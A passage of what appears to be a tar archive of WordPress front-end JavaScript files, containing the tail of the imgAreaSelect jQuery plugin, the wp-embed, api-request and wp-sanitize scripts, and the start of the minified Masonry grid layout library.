scaleX || 1<<24, imgWidth)); maxHeight = round(min(options.maxHeight / scaleY || 1<<24, imgHeight)); /* * Workaround for jQuery 1.3.2 incorrect offset calculation, originally * observed in Safari 3. Firefox 2 is also affected. */ if ($().jquery == '1.3.2' && position == 'fixed' && !docElem['getBoundingClientRect']) { imgOfs.top += max(document.body.scrollTop, docElem.scrollTop); imgOfs.left += max(document.body.scrollLeft, docElem.scrollLeft); } /* Determine parent element offset */ parOfs = /absolute|relative/.test($parent.css('position')) ? { left: round($parent.offset().left) - $parent.scrollLeft(), top: round($parent.offset().top) - $parent.scrollTop() } : position == 'fixed' ? { left: $(document).scrollLeft(), top: $(document).scrollTop() } : { left: 0, top: 0 }; left = viewX(0); top = viewY(0); /* * Check if selection area is within image boundaries, adjust if * necessary */ if (selection.x2 > imgWidth || selection.y2 > imgHeight) doResize(); } /** * Update plugin elements * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ function update(resetKeyPress) { /* If plugin elements are hidden, do nothing */ if (!shown) return; /* * Set the position and size of the container box and the selection area * inside it */ $box.css({ left: viewX(selection.x1), top: viewY(selection.y1) }) .add($area).width(w = selection.width).height(h = selection.height); /* * Reset the position of selection area, borders, and handles (IE6/IE7 * position them incorrectly if we don't do this) */ $area.add($border).add($handles).css({ left: 0, top: 0 }); /* Set border dimensions */ $border .width(max(w - $border.outerWidth() + $border.innerWidth(), 0)) .height(max(h - $border.outerHeight() + $border.innerHeight(), 0)); /* Arrange the outer area elements */ $($outer[0]).css({ left: left, top: top, width: selection.x1, height: imgHeight }); $($outer[1]).css({ left: left + selection.x1, top: top, width: w, height: selection.y1 }); $($outer[2]).css({ left: left + selection.x2, top: top, width: imgWidth - selection.x2, height: imgHeight }); $($outer[3]).css({ left: left + selection.x1, top: top + selection.y2, width: w, height: imgHeight - selection.y2 }); w -= $handles.outerWidth(); h -= $handles.outerHeight(); /* Arrange handles */ switch ($handles.length) { case 8: $($handles[4]).css({ left: w >> 1 }); $($handles[5]).css({ left: w, top: h >> 1 }); $($handles[6]).css({ left: w >> 1, top: h }); $($handles[7]).css({ top: h >> 1 }); case 4: $handles.slice(1,3).css({ left: w }); $handles.slice(2,4).css({ top: h }); } if (resetKeyPress !== false) { /* * Need to reset the document keypress event handler -- unbind the * current handler */ if ($.imgAreaSelect.onKeyPress != docKeyPress) $(document).off($.imgAreaSelect.keyPress, $.imgAreaSelect.onKeyPress); if (options.keys) /* * Set the document keypress event handler to this instance's * docKeyPress() function */ $(document).on( $.imgAreaSelect.keyPress, function() { $.imgAreaSelect.onKeyPress = docKeyPress; }); } /* * Internet Explorer displays 1px-wide dashed borders incorrectly by * filling the spaces between dashes with white. Toggling the margin * property between 0 and "auto" fixes this in IE6 and IE7 (IE8 is still * broken). This workaround is not perfect, as it requires setTimeout() * and thus causes the border to flicker a bit, but I haven't found a * better solution. * * Note: This only happens with CSS borders, set with the borderWidth, * borderOpacity, borderColor1, and borderColor2 options (which are now * deprecated). Borders created with GIF background images are fine. */ if (msie && $border.outerWidth() - $border.innerWidth() == 2) { $border.css('margin', 0); setTimeout(function () { $border.css('margin', 'auto'); }, 0); } } /** * Do the complete update sequence: recalculate offsets, update the * elements, and set the correct values of x1, y1, x2, and y2. * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ function doUpdate(resetKeyPress) { adjust(); update(resetKeyPress); x1 = viewX(selection.x1); y1 = viewY(selection.y1); x2 = viewX(selection.x2); y2 = viewY(selection.y2); } /** * Hide or fade out an element (or multiple elements) * * @param $elem * A jQuery object containing the element(s) to hide/fade out * @param fn * Callback function to be called when fadeOut() completes */ function hide($elem, fn) { options.fadeSpeed ? $elem.fadeOut(options.fadeSpeed, fn) : $elem.hide(); } /** * Selection area mousemove event handler * * @param event * The event object */ function areaMouseMove(event) { var x = selX(evX(event)) - selection.x1, y = selY(evY(event)) - selection.y1; if (!adjusted) { adjust(); adjusted = true; $box.one('mouseout', function () { adjusted = false; }); } /* Clear the resize mode */ resize = ''; if (options.resizable) { /* * Check if the mouse pointer is over the resize margin area and set * the resize mode accordingly */ if (y <= options.resizeMargin) resize = 'n'; else if (y >= selection.height - options.resizeMargin) resize = 's'; if (x <= options.resizeMargin) resize += 'w'; else if (x >= selection.width - options.resizeMargin) resize += 'e'; } $box.css('cursor', resize ? resize + '-resize' : options.movable ? 'move' : ''); if ($areaOpera) $areaOpera.toggle(); } /** * Document mouseup event handler * * @param event * The event object */ function docMouseUp(event) { /* Set back the default cursor */ $('body').css('cursor', ''); /* * If autoHide is enabled, or if the selection has zero width/height, * hide the selection and the outer area */ if (options.autoHide || selection.width * selection.height == 0) hide($box.add($outer), function () { $(this).hide(); }); $(document).off('mousemove touchmove', selectingMouseMove); $box.on('mousemove touchmove', areaMouseMove); options.onSelectEnd(img, getSelection()); } /** * Selection area mousedown event handler * * @param event * The event object * @return false */ function areaMouseDown(event) { if (event.type == 'mousedown' && event.which != 1) return false; /* * With mobile browsers, there is no "moving the pointer over" action, * so we need to simulate one mousemove event happening prior to * mousedown/touchstart. */ areaMouseMove(event); adjust(); if (resize) { /* Resize mode is in effect */ $('body').css('cursor', resize + '-resize'); x1 = viewX(selection[/w/.test(resize) ? 'x2' : 'x1']); y1 = viewY(selection[/n/.test(resize) ? 'y2' : 'y1']); $(document).on('mousemove touchmove', selectingMouseMove) .one('mouseup touchend', docMouseUp); $box.off('mousemove touchmove', areaMouseMove); } else if (options.movable) { startX = left + selection.x1 - evX(event); startY = top + selection.y1 - evY(event); $box.off('mousemove touchmove', areaMouseMove); $(document).on('mousemove touchmove', movingMouseMove) .one('mouseup touchend', function () { options.onSelectEnd(img, getSelection()); $(document).off('mousemove touchmove', movingMouseMove); $box.on('mousemove touchmove', areaMouseMove); }); } else $img.mousedown(event); return false; } /** * Adjust the x2/y2 coordinates to maintain aspect ratio (if defined) * * @param xFirst * If set to <code>true</code>, calculate x2 first. Otherwise, * calculate y2 first. */ function fixAspectRatio(xFirst) { if (aspectRatio) if (xFirst) { x2 = max(left, min(left + imgWidth, x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1))); y2 = round(max(top, min(top + imgHeight, y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1)))); x2 = round(x2); } else { y2 = max(top, min(top + imgHeight, y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1))); x2 = round(max(left, min(left + imgWidth, x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1)))); y2 = round(y2); } } /** * Resize the selection area respecting the minimum/maximum dimensions and * aspect ratio */ function doResize() { /* * Make sure the top left corner of the selection area stays within * image boundaries (it might not if the image source was dynamically * changed). */ x1 = min(x1, left + imgWidth); y1 = min(y1, top + imgHeight); if (abs(x2 - x1) < minWidth) { /* Selection width is smaller than minWidth */ x2 = x1 - minWidth * (x2 < x1 || -1); if (x2 < left) x1 = left + minWidth; else if (x2 > left + imgWidth) x1 = left + imgWidth - minWidth; } if (abs(y2 - y1) < minHeight) { /* Selection height is smaller than minHeight */ y2 = y1 - minHeight * (y2 < y1 || -1); if (y2 < top) y1 = top + minHeight; else if (y2 > top + imgHeight) y1 = top + imgHeight - minHeight; } x2 = max(left, min(x2, left + imgWidth)); y2 = max(top, min(y2, top + imgHeight)); fixAspectRatio(abs(x2 - x1) < abs(y2 - y1) * aspectRatio); if (abs(x2 - x1) > maxWidth) { /* Selection width is greater than maxWidth */ x2 = x1 - maxWidth * (x2 < x1 || -1); fixAspectRatio(); } if (abs(y2 - y1) > maxHeight) { /* Selection height is greater than maxHeight */ y2 = y1 - maxHeight * (y2 < y1 || -1); fixAspectRatio(true); } selection = { x1: selX(min(x1, x2)), x2: selX(max(x1, x2)), y1: selY(min(y1, y2)), y2: selY(max(y1, y2)), width: abs(x2 - x1), height: abs(y2 - y1) }; update(); options.onSelectChange(img, getSelection()); } /** * Mousemove event handler triggered when the user is selecting an area * * @param event * The event object * @return false */ function selectingMouseMove(event) { x2 = /w|e|^$/.test(resize) || aspectRatio ? evX(event) : viewX(selection.x2); y2 = /n|s|^$/.test(resize) || aspectRatio ? evY(event) : viewY(selection.y2); doResize(); return false; } /** * Move the selection area * * @param newX1 * New viewport X1 * @param newY1 * New viewport Y1 */ function doMove(newX1, newY1) { x2 = (x1 = newX1) + selection.width; y2 = (y1 = newY1) + selection.height; $.extend(selection, { x1: selX(x1), y1: selY(y1), x2: selX(x2), y2: selY(y2) }); update(); options.onSelectChange(img, getSelection()); } /** * Mousemove event handler triggered when the selection area is being moved * * @param event * The event object * @return false */ function movingMouseMove(event) { x1 = max(left, min(startX + evX(event), left + imgWidth - selection.width)); y1 = max(top, min(startY + evY(event), top + imgHeight - selection.height)); doMove(x1, y1); event.preventDefault(); return false; } /** * Start selection */ function startSelection() { $(document).off('mousemove touchmove', startSelection); adjust(); x2 = x1; y2 = y1; doResize(); resize = ''; if (!$outer.is(':visible')) /* Show the plugin elements */ $box.add($outer).hide().fadeIn(options.fadeSpeed||0); shown = true; $(document).off('mouseup touchend', cancelSelection) .on('mousemove touchmove', selectingMouseMove) .one('mouseup touchend', docMouseUp); $box.off('mousemove touchmove', areaMouseMove); options.onSelectStart(img, getSelection()); } /** * Cancel selection */ function cancelSelection() { $(document).off('mousemove touchmove', startSelection) .off('mouseup touchend', cancelSelection); hide($box.add($outer)); setSelection(selX(x1), selY(y1), selX(x1), selY(y1)); /* If this is an API call, callback functions should not be triggered */ if (!(this instanceof $.imgAreaSelect)) { options.onSelectChange(img, getSelection()); options.onSelectEnd(img, getSelection()); } } /** * Image mousedown event handler * * @param event * The event object * @return false */ function imgMouseDown(event) { /* Ignore the event if animation is in progress */ if (event.which > 1 || $outer.is(':animated')) return false; adjust(); startX = x1 = evX(event); startY = y1 = evY(event); /* Selection will start when the mouse is moved */ $(document).on({ 'mousemove touchmove': startSelection, 'mouseup touchend': cancelSelection }); return false; } /** * Window resize event handler */ function windowResize() { doUpdate(false); } /** * Image load event handler. This is the final part of the initialization * process. */ function imgLoad() { imgLoaded = true; /* Set options */ setOptions(options = $.extend({ classPrefix: 'imgareaselect', movable: true, parent: 'body', resizable: true, resizeMargin: 10, onInit: function () {}, onSelectStart: function () {}, onSelectChange: function () {}, onSelectEnd: function () {} }, options)); $box.add($outer).css({ visibility: '' }); if (options.show) { shown = true; adjust(); update(); $box.add($outer).hide().fadeIn(options.fadeSpeed||0); } /* * Call the onInit callback. The setTimeout() call is used to ensure * that the plugin has been fully initialized and the object instance is * available (so that it can be obtained in the callback). */ setTimeout(function () { options.onInit(img, getSelection()); }, 0); } /** * Document keypress event handler * * @param event * The event object * @return false */ var docKeyPress = function(event) { var k = options.keys, d, t, key = event.keyCode; d = !isNaN(k.alt) && (event.altKey || event.originalEvent.altKey) ? k.alt : !isNaN(k.ctrl) && event.ctrlKey ? k.ctrl : !isNaN(k.shift) && event.shiftKey ? k.shift : !isNaN(k.arrows) ? k.arrows : 10; if (k.arrows == 'resize' || (k.shift == 'resize' && event.shiftKey) || (k.ctrl == 'resize' && event.ctrlKey) || (k.alt == 'resize' && (event.altKey || event.originalEvent.altKey))) { /* Resize selection */ switch (key) { case 37: /* Left */ d = -d; case 39: /* Right */ t = max(x1, x2); x1 = min(x1, x2); x2 = max(t + d, x1); fixAspectRatio(); break; case 38: /* Up */ d = -d; case 40: /* Down */ t = max(y1, y2); y1 = min(y1, y2); y2 = max(t + d, y1); fixAspectRatio(true); break; default: return; } doResize(); } else { /* Move selection */ x1 = min(x1, x2); y1 = min(y1, y2); switch (key) { case 37: /* Left */ doMove(max(x1 - d, left), y1); break; case 38: /* Up */ doMove(x1, max(y1 - d, top)); break; case 39: /* Right */ doMove(x1 + min(d, imgWidth - selX(x2)), y1); break; case 40: /* Down */ doMove(x1, y1 + min(d, imgHeight - selY(y2))); break; default: return; } } return false; }; /** * Apply style options to plugin element (or multiple elements) * * @param $elem * A jQuery object representing the element(s) to style * @param props * An object that maps option names to corresponding CSS * properties */ function styleOptions($elem, props) { for (var option in props) if (options[option] !== undefined) $elem.css(props[option], options[option]); } /** * Set plugin options * * @param newOptions * The new options object */ function setOptions(newOptions) { if (newOptions.parent) ($parent = $(newOptions.parent)).append($box.add($outer)); /* Merge the new options with the existing ones */ $.extend(options, newOptions); adjust(); if (newOptions.handles != null) { /* Recreate selection area handles */ $handles.remove(); $handles = $([]); i = newOptions.handles ? newOptions.handles == 'corners' ? 4 : 8 : 0; while (i--) $handles = $handles.add(div()); /* Add a class to handles and set the CSS properties */ $handles.addClass(options.classPrefix + '-handle').css({ position: 'absolute', /* * The font-size property needs to be set to zero, otherwise * Internet Explorer makes the handles too large */ fontSize: '0', zIndex: zIndex + 1 || 1 }); /* * If handle width/height has not been set with CSS rules, set the * default 5px */ if (!parseInt($handles.css('width')) >= 0) $handles.width(5).height(5); /* * If the borderWidth option is in use, add a solid border to * handles */ if (o = options.borderWidth) $handles.css({ borderWidth: o, borderStyle: 'solid' }); /* Apply other style options */ styleOptions($handles, { borderColor1: 'border-color', borderColor2: 'background-color', borderOpacity: 'opacity' }); } /* Calculate scale factors */ scaleX = options.imageWidth / imgWidth || 1; scaleY = options.imageHeight / imgHeight || 1; /* Set selection */ if (newOptions.x1 != null) { setSelection(newOptions.x1, newOptions.y1, newOptions.x2, newOptions.y2); newOptions.show = !newOptions.hide; } if (newOptions.keys) /* Enable keyboard support */ options.keys = $.extend({ shift: 1, ctrl: 'resize' }, newOptions.keys); /* Add classes to plugin elements */ $outer.addClass(options.classPrefix + '-outer'); $area.addClass(options.classPrefix + '-selection'); for (i = 0; i++ < 4;) $($border[i-1]).addClass(options.classPrefix + '-border' + i); /* Apply style options */ styleOptions($area, { selectionColor: 'background-color', selectionOpacity: 'opacity' }); styleOptions($border, { borderOpacity: 'opacity', borderWidth: 'border-width' }); styleOptions($outer, { outerColor: 'background-color', outerOpacity: 'opacity' }); if (o = options.borderColor1) $($border[0]).css({ borderStyle: 'solid', borderColor: o }); if (o = options.borderColor2) $($border[1]).css({ borderStyle: 'dashed', borderColor: o }); /* Append all the selection area elements to the container box */ $box.append($area.add($border).add($areaOpera)).append($handles); if (msie) { if (o = ($outer.css('filter')||'').match(/opacity=(\d+)/)) $outer.css('opacity', o[1]/100); if (o = ($border.css('filter')||'').match(/opacity=(\d+)/)) $border.css('opacity', o[1]/100); } if (newOptions.hide) hide($box.add($outer)); else if (newOptions.show && imgLoaded) { shown = true; $box.add($outer).fadeIn(options.fadeSpeed||0); doUpdate(); } /* Calculate the aspect ratio factor */ aspectRatio = (d = (options.aspectRatio || '').split(/:/))[0] / d[1]; $img.add($outer).off('mousedown', imgMouseDown); if (options.disable || options.enable === false) { /* Disable the plugin */ $box.off({ 'mousemove touchmove': areaMouseMove, 'mousedown touchstart': areaMouseDown }); $(window).off('resize', windowResize); } else { if (options.enable || options.disable === false) { /* Enable the plugin */ if (options.resizable || options.movable) $box.on({ 'mousemove touchmove': areaMouseMove, 'mousedown touchstart': areaMouseDown }); $(window).on( 'resize', windowResize); } if (!options.persistent) $img.add($outer).on('mousedown touchstart', imgMouseDown); } options.enable = options.disable = undefined; } /** * Remove plugin completely */ this.remove = function () { /* * Call setOptions with { disable: true } to unbind the event handlers */ setOptions({ disable: true }); $box.add($outer).remove(); }; /* * Public API */ /** * Get current options * * @return An object containing the set of options currently in use */ this.getOptions = function () { return options; }; /** * Set plugin options * * @param newOptions * The new options object */ this.setOptions = setOptions; /** * Get the current selection * * @param noScale * If set to <code>true</code>, scaling is not applied to the * returned selection * @return Selection object */ this.getSelection = getSelection; /** * Set the current selection * * @param x1 * X coordinate of the upper left corner of the selection area * @param y1 * Y coordinate of the upper left corner of the selection area * @param x2 * X coordinate of the lower right corner of the selection area * @param y2 * Y coordinate of the lower right corner of the selection area * @param noScale * If set to <code>true</code>, scaling is not applied to the * new selection */ this.setSelection = setSelection; /** * Cancel selection */ this.cancelSelection = cancelSelection; /** * Update plugin elements * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ this.update = doUpdate; /* Do the dreaded browser detection */ var msie = (/msie ([\w.]+)/i.exec(ua)||[])[1], opera = /opera/i.test(ua), safari = /webkit/i.test(ua) && !/chrome/i.test(ua); /* * Traverse the image's parent elements (up to <body>) and find the * highest z-index */ $p = $img; while ($p.length) { zIndex = max(zIndex, !isNaN($p.css('z-index')) ? $p.css('z-index') : zIndex); /* Also check if any of the ancestor elements has fixed position */ if ($p.css('position') == 'fixed') position = 'fixed'; $p = $p.parent(':not(body)'); } /* * If z-index is given as an option, it overrides the one found by the * above loop */ zIndex = options.zIndex || zIndex; if (msie) $img.attr('unselectable', 'on'); /* * In MSIE and WebKit, we need to use the keydown event instead of keypress */ $.imgAreaSelect.keyPress = msie || safari ? 'keydown' : 'keypress'; /* * There is a bug affecting the CSS cursor property in Opera (observed in * versions up to 10.00) that prevents the cursor from being updated unless * the mouse leaves and enters the element again. To trigger the mouseover * event, we're adding an additional div to $box and we're going to toggle * it when mouse moves inside the selection area. */ if (opera) $areaOpera = div().css({ width: '100%', height: '100%', position: 'absolute', zIndex: zIndex + 2 || 2 }); /* * We initially set visibility to "hidden" as a workaround for a weird * behaviour observed in Google Chrome 1.0.154.53 (on Windows XP). Normally * we would just set display to "none", but, for some reason, if we do so * then Chrome refuses to later display the element with .show() or * .fadeIn(). */ $box.add($outer).css({ visibility: 'hidden', position: position, overflow: 'hidden', zIndex: zIndex || '0' }); $box.css({ zIndex: zIndex + 2 || 2 }); $area.add($border).css({ position: 'absolute', fontSize: '0' }); /* * If the image has been fully loaded, or if it is not really an image (eg. * a div), call imgLoad() immediately; otherwise, bind it to be called once * on image load event. */ img.complete || img.readyState == 'complete' || !$img.is('img') ? imgLoad() : $img.one('load', imgLoad); /* * MSIE 9.0 doesn't always fire the image load event -- resetting the src * attribute seems to trigger it. The check is for version 7 and above to * accommodate for MSIE 9 running in compatibility mode. */ if (!imgLoaded && msie && msie >= 7) img.src = img.src; }; /** * Invoke imgAreaSelect on a jQuery object containing the image(s) * * @param options * Options object * @return The jQuery object or a reference to imgAreaSelect instance (if the * <code>instance</code> option was specified) */ $.fn.imgAreaSelect = function (options) { options = options || {}; this.each(function () { /* Is there already an imgAreaSelect instance bound to this element? */ if ($(this).data('imgAreaSelect')) { /* Yes there is -- is it supposed to be removed? */ if (options.remove) { /* Remove the plugin */ $(this).data('imgAreaSelect').remove(); $(this).removeData('imgAreaSelect'); } else /* Reset options */ $(this).data('imgAreaSelect').setOptions(options); } else if (!options.remove) { /* No exising instance -- create a new one */ /* * If neither the "enable" nor the "disable" option is present, add * "enable" as the default */ if (options.enable === undefined && options.disable === undefined) options.enable = true; $(this).data('imgAreaSelect', new $.imgAreaSelect(this, options)); } }); if (options.instance) /* * Return the imgAreaSelect instance bound to the first element in the * set */ return $(this).data('imgAreaSelect'); return this; }; })(jQuery); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/wp-embed.min.js����������������������������������������������������������������������������������0000644�����������������00000002766�14717703502�0010021 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(c,l){"use strict";var e=!1,o=!1;if(l.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},c.wp.receiveEmbedMessage);else if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(!t);else if(!(t.secret||t.message||t.value));else if(/[^a-zA-Z0-9]/.test(t.secret));else{for(var r,s,a,i=l.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=l.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<i.length;o++)if(r=i[o],e.source!==r.contentWindow);else{if(r.removeAttribute("style"),"height"===t.message){if(1e3<(s=parseInt(t.value,10)))s=1e3;else if(~~s<200)s=200;r.height=s}if("link"===t.message)if(s=l.createElement("a"),a=l.createElement("a"),s.href=r.getAttribute("src"),a.href=t.value,a.host===s.host)if(l.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),l.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(o);else{o=!0;for(var e,t,r,s=-1!==navigator.appVersion.indexOf("MSIE 10"),a=!!navigator.userAgent.match(/Trident.*rv:11\./),i=l.querySelectorAll("iframe.wp-embedded-content"),n=0;n<i.length;n++){if(!(r=(t=i[n]).getAttribute("data-secret")))r=Math.random().toString(36).substr(2,10),t.src+="#?secret="+r,t.setAttribute("data-secret",r);if(s||a)(e=t.cloneNode(!0)).removeAttribute("security"),t.parentNode.replaceChild(e,t);t.contentWindow.postMessage({message:"ready",secret:r},"*")}}}}(window,document);����������js/api-request.min.js�������������������������������������������������������������������������������0000644�����������������00000001777�14717703502�0010561 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ !function(c){var w=window.wpApiSettings;function t(e){return e=t.buildAjaxOptions(e),t.transport(e)}t.buildAjaxOptions=function(e){var t,n,a,p,o,r,i=e.url,d=e.path,s=e.method;for(r in"string"==typeof e.namespace&&"string"==typeof e.endpoint&&(t=e.namespace.replace(/^\/|\/$/g,""),d=(n=e.endpoint.replace(/^\//,""))?t+"/"+n:t),"string"==typeof d&&(n=w.root,d=d.replace(/^\//,""),"string"==typeof n&&-1!==n.indexOf("?")&&(d=d.replace("?","&")),i=n+d),p=!(e.data&&e.data._wpnonce),o=!0,a=e.headers||{})if(a.hasOwnProperty(r))switch(r.toLowerCase()){case"x-wp-nonce":p=!1;break;case"accept":o=!1}return p&&(a=c.extend({"X-WP-Nonce":w.nonce},a)),o&&(a=c.extend({Accept:"application/json, */*;q=0.1"},a)),"string"!=typeof s||"PUT"!==(s=s.toUpperCase())&&"DELETE"!==s||(a=c.extend({"X-HTTP-Method-Override":s},a),s="POST"),delete(e=c.extend({},e,{headers:a,url:i,method:s})).path,delete e.namespace,delete e.endpoint,e},t.transport=c.ajax,window.wp=window.wp||{},window.wp.apiRequest=t}(jQuery);�js/wp-sanitize.min.js�������������������������������������������������������������������������������0000644�����������������00000000712�14717703502�0010560 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ window.wp=window.wp||{},wp.sanitize={stripTags:function(t){var e=(t=t||"").replace(/<!--[\s\S]*?(-->|$)/g,"").replace(/<(script|style)[^>]*>[\s\S]*?(<\/\1>|$)/gi,"").replace(/<\/?[a-z][\s\S]*?(>|$)/gi,"");return e!==t?wp.sanitize.stripTags(e):e},stripTagsAndEncodeText:function(t){var t=wp.sanitize.stripTags(t),e=document.createElement("textarea");try{e.textContent=t,t=wp.sanitize.stripTags(e.value)}catch(t){}return t}};������������������������������������������������������js/wp-embed.js��������������������������������������������������������������������������������������0000644�����������������00000007215�14717703502�0007231 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * WordPress inline HTML embed * * @since 4.4.0 * @output wp-includes/js/wp-embed.js * * This file cannot have ampersands in it. This is to ensure * it can be embedded in older versions of WordPress. * See https://core.trac.wordpress.org/changeset/35708. */ (function ( window, document ) { 'use strict'; var supportedBrowser = false, loaded = false; if ( document.querySelector ) { if ( window.addEventListener ) { supportedBrowser = true; } } /** @namespace wp */ window.wp = window.wp || {}; if ( !! window.wp.receiveEmbedMessage ) { return; } /** * Receive embed message. * * @param {MessageEvent} e */ window.wp.receiveEmbedMessage = function( e ) { var data = e.data; if ( ! data ) { return; } if ( ! ( data.secret || data.message || data.value ) ) { return; } if ( /[^a-zA-Z0-9]/.test( data.secret ) ) { return; } var iframes = document.querySelectorAll( 'iframe[data-secret="' + data.secret + '"]' ), blockquotes = document.querySelectorAll( 'blockquote[data-secret="' + data.secret + '"]' ), i, source, height, sourceURL, targetURL; for ( i = 0; i < blockquotes.length; i++ ) { blockquotes[ i ].style.display = 'none'; } for ( i = 0; i < iframes.length; i++ ) { source = iframes[ i ]; if ( e.source !== source.contentWindow ) { continue; } source.removeAttribute( 'style' ); /* Resize the iframe on request. */ if ( 'height' === data.message ) { height = parseInt( data.value, 10 ); if ( height > 1000 ) { height = 1000; } else if ( ~~height < 200 ) { height = 200; } source.height = height; } /* Link to a specific URL on request. */ if ( 'link' === data.message ) { sourceURL = document.createElement( 'a' ); targetURL = document.createElement( 'a' ); sourceURL.href = source.getAttribute( 'src' ); targetURL.href = data.value; /* Only continue if link hostname matches iframe's hostname. */ if ( targetURL.host === sourceURL.host ) { if ( document.activeElement === source ) { window.top.location.href = data.value; } } } } }; function onLoad() { if ( loaded ) { return; } loaded = true; var isIE10 = -1 !== navigator.appVersion.indexOf( 'MSIE 10' ), isIE11 = !!navigator.userAgent.match( /Trident.*rv:11\./ ), iframes = document.querySelectorAll( 'iframe.wp-embedded-content' ), iframeClone, i, source, secret; for ( i = 0; i < iframes.length; i++ ) { /** @var {IframeElement} */ source = iframes[ i ]; secret = source.getAttribute( 'data-secret' ); if ( ! secret ) { /* Add secret to iframe */ secret = Math.random().toString( 36 ).substr( 2, 10 ); source.src += '#?secret=' + secret; source.setAttribute( 'data-secret', secret ); } /* Remove security attribute from iframes in IE10 and IE11. */ if ( ( isIE10 || isIE11 ) ) { iframeClone = source.cloneNode( true ); iframeClone.removeAttribute( 'security' ); source.parentNode.replaceChild( iframeClone, source ); } /* * Let post embed window know that the parent is ready for receiving the height message, in case the iframe * loaded before wp-embed.js was loaded. When the ready message is received by the post embed window, the * window will then (re-)send the height message right away. */ source.contentWindow.postMessage( { message: 'ready', secret: secret }, '*' ); } } if ( supportedBrowser ) { window.addEventListener( 'message', window.wp.receiveEmbedMessage, false ); document.addEventListener( 'DOMContentLoaded', onLoad, false ); window.addEventListener( 'load', onLoad, false ); } })( window, document ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/masonry.min.js�����������������������������������������������������������������������������������0000644�����������������00000057112�14717703502�0010004 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ /*! * Masonry PACKAGED v4.2.2 * Cascading grid layout library * https://masonry.desandro.com * MIT License * by David DeSandro */ !function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-bridget",["jquery"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("jquery")):t.jQueryBridget=e(t,t.jQuery)}(window,function(t,e){"use strict";function i(i,r,a){function h(t,e,n){var o,r="$()."+i+'("'+e+'")';return t.each(function(t,h){var u=a.data(h,i);if(!u)return void s(i+" not initialized. Cannot call methods, i.e. "+r);var d=u[e];if(!d||"_"==e.charAt(0))return void s(r+" is not a valid method");var l=d.apply(u,n);o=void 0===o?l:o}),void 0!==o?o:t}function u(t,e){t.each(function(t,n){var o=a.data(n,i);o?(o.option(e),o._init()):(o=new r(n,e),a.data(n,i,o))})}a=a||e||t.jQuery,a&&(r.prototype.option||(r.prototype.option=function(t){a.isPlainObject(t)&&(this.options=a.extend(!0,this.options,t))}),a.fn[i]=function(t){if("string"==typeof t){var e=o.call(arguments,1);return h(this,t,e)}return u(this,t),this},n(a))}function n(t){!t||t&&t.bridget||(t.bridget=i)}var o=Array.prototype.slice,r=t.console,s="undefined"==typeof r?function(){}:function(t){r.error(t)};return n(e||t.jQuery),i}),function(t,e){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",e):"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,function(){function t(){}var e=t.prototype;return e.on=function(t,e){if(t&&e){var i=this._events=this._events||{},n=i[t]=i[t]||[];return-1==n.indexOf(e)&&n.push(e),this}},e.once=function(t,e){if(t&&e){this.on(t,e);var i=this._onceEvents=this._onceEvents||{},n=i[t]=i[t]||{};return n[e]=!0,this}},e.off=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var n=i.indexOf(e);return-1!=n&&i.splice(n,1),this}},e.emitEvent=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){i=i.slice(0),e=e||[];for(var n=this._onceEvents&&this._onceEvents[t],o=0;o<i.length;o++){var r=i[o],s=n&&n[r];s&&(this.off(t,r),delete n[r]),r.apply(this,e)}return this}},e.allOff=function(){delete this._events,delete this._onceEvents},t}),function(t,e){"function"==typeof define&&define.amd?define("get-size/get-size",e):"object"==typeof module&&module.exports?module.exports=e():t.getSize=e()}(window,function(){"use strict";function t(t){var e=parseFloat(t),i=-1==t.indexOf("%")&&!isNaN(e);return i&&e}function e(){}function i(){for(var t={width:0,height:0,innerWidth:0,innerHeight:0,outerWidth:0,outerHeight:0},e=0;u>e;e++){var i=h[e];t[i]=0}return t}function n(t){var e=getComputedStyle(t);return e||a("Style returned "+e+". Are you running this code in a hidden iframe on Firefox? See https://bit.ly/getsizebug1"),e}function o(){if(!d){d=!0;var e=document.createElement("div");e.style.width="200px",e.style.padding="1px 2px 3px 4px",e.style.borderStyle="solid",e.style.borderWidth="1px 2px 3px 4px",e.style.boxSizing="border-box";var i=document.body||document.documentElement;i.appendChild(e);var o=n(e);s=200==Math.round(t(o.width)),r.isBoxSizeOuter=s,i.removeChild(e)}}function r(e){if(o(),"string"==typeof e&&(e=document.querySelector(e)),e&&"object"==typeof e&&e.nodeType){var r=n(e);if("none"==r.display)return i();var a={};a.width=e.offsetWidth,a.height=e.offsetHeight;for(var d=a.isBorderBox="border-box"==r.boxSizing,l=0;u>l;l++){var 